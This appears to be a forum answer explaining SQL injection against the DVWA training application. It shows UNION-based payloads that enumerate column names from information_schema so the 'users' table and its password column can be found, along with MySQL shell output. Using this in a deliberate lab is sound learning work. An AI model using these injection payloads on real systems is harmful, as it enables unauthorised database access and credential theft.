DVWA SQLi: How to get column names from table “users” only?
This query select column_name from database information_schema, specifically in table columns where the database name is the one selected by the programmer which is also similar to function database()

UNION SELECT GROUP_CONCAT(column_name),2 FROM information_schema.columns WHERE table_schema=DATABASE()


How it looks like on MySQL shell. Only column column_name in database information_schema, column TABLE_SCHEMA where did you get i from function DATABASE() will appear.

However, you did not see column TABLE_SCHEMA as you did not select it on the query.

mysql&gt; SELECT column_name FROM information_schema.columns WHERE table_schema=DATABASE();
+-------------+
| column_name |
+-------------+
| comment_id  | 
| comment     | 
| name        | 
| user_id     | 
| first_name  | 
| last_name   | 
| user        | 
| password    | 
| avatar      | 
+-------------+
9 rows in set (0.01 sec)

mysql&gt; 


This is the whole column in database information_schema, table columns WHERE table_name='users'. You should get the idea by now.

mysql&gt; SELECT * FROM information_schema.columns WHERE table_name='users';
+---------------+--------------+------------+-------------+------------------+----------------+-------------+-----------+--------------------------+------------------------+-------------------+---------------+--------------------+-------------------+-------------+------------+----------------+---------------------------------+----------------+
| TABLE_CATALOG | TABLE_SCHEMA | TABLE_NAME | COLUMN_NAME | ORDINAL_POSITION | COLUMN_DEFAULT | IS_NULLABLE | DATA_TYPE | CHARACTER_MAXIMUM_LENGTH | CHARACTER_OCTET_LENGTH | NUMERIC_PRECISION | NUMERIC_SCALE | CHARACTER_SET_NAME | COLLATION_NAME    | COLUMN_TYPE | COLUMN_KEY | EXTRA          | PRIVILEGES                      | COLUMN_COMMENT |
+---------------+--------------+------------+-------------+------------------+----------------+-------------+-----------+--------------------------+------------------------+-------------------+---------------+--------------------+-------------------+-------------+------------+----------------+---------------------------------+----------------+
| NULL          | dvwa         | users      | user_id     |                1 | 0              | NO          | int       |                     NULL |                   NULL |                10 |             0 | NULL               | NULL              | int(6)      | PRI        |                | select,insert,update,references |                | 
| NULL          | dvwa         | users      | first_name  |                2 | NULL           | YES         | varchar   |                       15 |                     15 |              NULL |          NULL | latin1             | latin1_swedish_ci | varchar(15) |            |                | select,insert,update,references |                | 
| NULL          | dvwa         | users      | last_name   |                3 | NULL           | YES         | varchar   |                       15 |                     15 |              NULL |          NULL | latin1             | latin1_swedish_ci | varchar(15) |            |                | select,insert,update,references |                | 
| NULL          | dvwa         | users      | user        |                4 | NULL           | YES         | varchar   |                       15 |                     15 |              NULL |          NULL | latin1             | latin1_swedish_ci | varchar(15) |            |                | select,insert,update,references |                | 
| NULL          | dvwa         | users      | password    |                5 | NULL           | YES         | varchar   |                       32 |                     32 |              NULL |          NULL | latin1             | latin1_swedish_ci | varchar(32) |            |                | select,insert,update,references |                | 
| NULL          | dvwa         | users      | avatar      |                6 | NULL           | YES         | varchar   |                       70 |                     70 |              NULL |          NULL | latin1             | latin1_swedish_ci | varchar(70) |            |                | select,insert,update,references |                | 
+---------------+--------------+------------+-------------+------------------+----------------+-------------+-----------+--------------------------+------------------------+-------------------+---------------+--------------------+-------------------+-------------+------------+----------------+---------------------------------+----------------+
9 rows in set (0.01 sec)

mysql&gt; 


Look at columns such as TABLE_SCHEMA and COLUMN_NAME. These are the one you used in the previous query.

Also, there is TABLE_NAME in it so you can actually limit the output with where command.

To make it easier to understand, let's modify the SQL query again.

mysql&gt; SELECT table_schema,table_name,column_name FROM information_schema.columns WHERE table_schema=DATABASE();
+--------------+------------+-------------+
| table_schema | table_name | column_name |
+--------------+------------+-------------+
| dvwa         | guestbook  | comment_id  | 
| dvwa         | guestbook  | comment     | 
| dvwa         | guestbook  | name        | 
| dvwa         | users      | user_id     | 
| dvwa         | users      | first_name  | 
| dvwa         | users      | last_name   | 
| dvwa         | users      | user        | 
| dvwa         | users      | password    | 
| dvwa         | users      | avatar      | 
+--------------+------------+-------------+
9 rows in set (0.01 sec)

mysql&gt; 


By now, you should understand why your query produced something out of users table.

Instead of querying the column_name from the current database (WHERE table_schema=DATABASE()), you should get it from the table you wanted which is users in this case.

mysql&gt; SELECT column_name FROM information_schema.columns WHERE table_name='users';
+-------------+
| column_name |
+-------------+
| user_id     | 
| first_name  | 
| last_name   | 
| user        | 
| password    | 
| avatar      | 
| id          | 
| username    | 
| password    | 
+-------------+
9 rows in set (0.01 sec)

mysql&gt; 


So the query from the web should looks like this

UNION SELECT GROUP_CONCAT(column_name),2 FROM information_schema.columns WHERE table_name='users'